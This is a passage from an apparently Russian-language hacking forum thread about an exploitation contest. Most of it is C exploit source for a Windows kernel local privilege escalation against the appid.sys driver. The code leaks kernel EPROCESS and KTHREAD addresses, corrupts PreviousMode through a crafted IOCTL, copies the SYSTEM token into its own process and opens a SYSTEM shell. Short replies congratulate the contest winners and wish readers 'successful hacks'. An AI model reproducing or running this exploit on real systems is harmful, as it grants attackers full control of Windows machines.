            NULL,            // lookup privilege on local system
            lpszPrivilege,   // privilege to lookup
            &luid ) )        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() );
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
           hToken,
           FALSE,
           &tp,
           sizeof(TOKEN_PRIVILEGES),
           (PTOKEN_PRIVILEGES) NULL,
           (PDWORD) NULL) )
    {
          printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
          return FALSE;
    }

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
          printf("The token does not have the specified privilege. \n");
          return FALSE;
    }

    return TRUE;
}

BOOL EnableDebugPrivilege()
{
    HANDLE tempTokenHandle;
    HANDLE currentToken;
    BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
    if (!success)
    {
        printf("[-] Failed to open current process token\n");
        return FALSE;
    }

    currentToken = tempTokenHandle;
    success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);

    if (!success)
    {
        printf("[-] Failed to set SeDebugPrivilege\n");
        return FALSE;
    }

    return TRUE;
}


//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int32_t Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        }

        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
        }
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

    done:
    if (pHandleInfo != NULL)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return Ret;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
    {
        return -1;
    }
    return Status;
}

uint64_t GetNtoskrnlBaseAddress() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
        printf("[-] Error enumerating device drivers. Error code: %d\n", GetLastError());
        return NULL;
    }
    // ntoskrnl.exe address indexed by 0
    return drivers[0];
}

int main()
{
    DWORD dwLocalSvcId = 0;
    DWORD tid = 0;
    HANDLE local_service_thread;
    BOOL success = FALSE;
    HANDLE hToken;
    HANDLE hproc;
    HANDLE hLocalSvc = 0;
    SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
    HANDLE hAppID;

    //
    // Initialize kernel objects to leak
    //
    uint64_t Sysproc = 0;
    uint64_t Curproc = 0;
    uint64_t Curthread = 0;
    uint64_t Token = 0;
  
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    HANDLE hProc = NULL;
    uint32_t Ret = 0;

    //
    // Start the vulnerable service, because it's off by default
    //
    AppIDStart();

    //
    // It could be any service which is running at LOCAL_SERVICE privileges
    // except services running as PPL
    //
    dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
    tid = GetFirstThreadID(dwLocalSvcId);
    success = EnableDebugPrivilege();
    if (!success)
    {
        printf("[-] EnableDebugPrivilege failed\n");
    }

    hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
    if (!hLocalSvc)
    {
        printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
    }

    local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);

    if (local_service_thread == NULL)
    {
        printf("[-] OpenThread failed with error %d\n", GetLastError());
      
    }

    else
    {
        printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
    }

    sqos.Length = sizeof(sqos);
    sqos.ImpersonationLevel = SecurityImpersonation;
    //__debugbreak();
    NTSTATUS  status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);

    if (!NT_SUCCESS(status))
    {
        printf("[-] NtImpersonateThread failed with status = %x\n", status);
    }

    hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (hAppID == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFileW failed with error %d\n", GetLastError());
    }

    //
    // Leak System _EPROCESS kernel address
    //
    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address: %llx\n", Sysproc);

    //
    // Terminate the impersonation because otherwise we can't get kernel object addresses for some reason
    //
    RevertToSelf();

    //
    // Leak Current _KTHREAD kernel address
    //
    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            goto done;
        }
        printf("[+] Current KTHREAD address: %llx\n", Curthread);
    }

    //
    // Leak Current _EPROCESS kernel address
    //
    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            goto done;
        }
        printf("[+] Current EPROCESS address: %llx\n", Curproc);
    }

    //
    // Leak dummy file object to avoid BSOD
    //
    HANDLE hDummyFile = 0;
    uint64_t DummyFile = 0;

    hDummyFile = CreateFileW(L"C:\\Users\\shit.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDummyFile != NULL)
    {
        Ret = GetObjPtr(&DummyFile, GetCurrentProcessId(), hDummyFile);
        if (Ret != NULL)
        {
            goto done;
        }
        printf("[+] Dummy FILE_OBJECT address: %llx\n", DummyFile);
    }

    //
    // Initialize the payload buffer
    //
    SMART_HASH_IMAGE_FILE shif = { 0 };
    DWORD inbufsize = sizeof(SMART_HASH_IMAGE_FILE);
    uint64_t ntoskrnl_base = GetNtoskrnlBaseAddress();

    shif.ptr = malloc(sizeof(VULN_CALLBACK_STRUCT));
    shif.field0 = 0;
    shif.ptr->vuln_callback_addr = ntoskrnl_base + offset_PopEtDataSectionCopyData;
    shif.dummy_f_obj = DummyFile;
    shif.prev_mode = Curthread + KTHREAD_PREVIOUS_MODE_OFFSET;

    //
    // Sending the payload to the appid.sys vulnerable AipSmartHashImageFile handler
    // to trigger the bug.
    //
    __debugbreak();
    success = DeviceIoControl(hAppID, IOCTL_SMART_HASH_IMAGE_FILE, &shif, inbufsize, NULL, NULL, NULL, NULL);

    if (success == FALSE)
    {
        printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
    }

    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

    uint8_t mode = UserMode;

    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

    //
    // Restoring KTHREAD->PreviousMode
    //
    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

    //
    // Spawn the shell with "nt authority\system"
    //
    system("cmd.exe");

done:

    if (hCurproc != NULL)
    {
        CloseHandle(hCurproc);
    }

    if (hThread != NULL)
    {
        CloseHandle(hThread);
    }

    return 0;
}
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Vexer2k unhappyangel Поздравляю вас ребята, респект и уважуха вам.

XSS PWN-Day - 0x01 закончился, но это не означает, что мы прощаемся... Всем кому не довелось поучаствовать или кто не дошел до финиша, не растраивайтесь, у нас еще будут подобные конкурсы. 0x02 быть!!! Изучайте бинарную эксплуатацию, не используйте готовые\чужие эксплойты, ищите информацию на баг-трек лентах, используйте свои знания и инструменты для создания собственных вариантов кода, изучайте чужой код. Успешных вам взломов!!!
 
Vexer2k unhappyangel Поздравляю вас ребята, респект и уважуха вам.

XSS PWN-Day - 0x01 закончился, но это не означает, что мы прощаемся... Всем кому не довелось поучаствовать или кто не дошел до финиша, не растраивайтесь, у нас еще будут подобные конкурсы. 0x02 быть!!! Изучайте бинарную эксплуатацию, не используйте готовые\чужие эксплойты, ищите информацию на баг-трек лентах, используйте свои знания и инструменты для создания собственных вариантов кода, изучайте чужой код. Успешных вам взломов!!!
Holding such competitions is interesting. I think it is much better than the usual CTFs. Unfortunately, I arrived late and lost my motivation. I hope I can participate in the next stage. If possible, hold the next stage in multiple levels so that we beginners can also progress. Thank you.
 
Отличный конкурс. Небольшой, но очень продуктивный и ламповый. Мал, да удал =) Поздравляю победителей и благодарю varwar за организацию и weaver за участие в организации. Это было прикольно.
 
Спасибо за конкурс))) Для меня таск был сложный ибо никогда не пывнил дрова для винды, поэтому часто буксовал. Однако, именно поэтому мне таск и понравился, потому что узнал много нового и было интересно покопаться. Есть куда расти. Спасибо еще раз;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх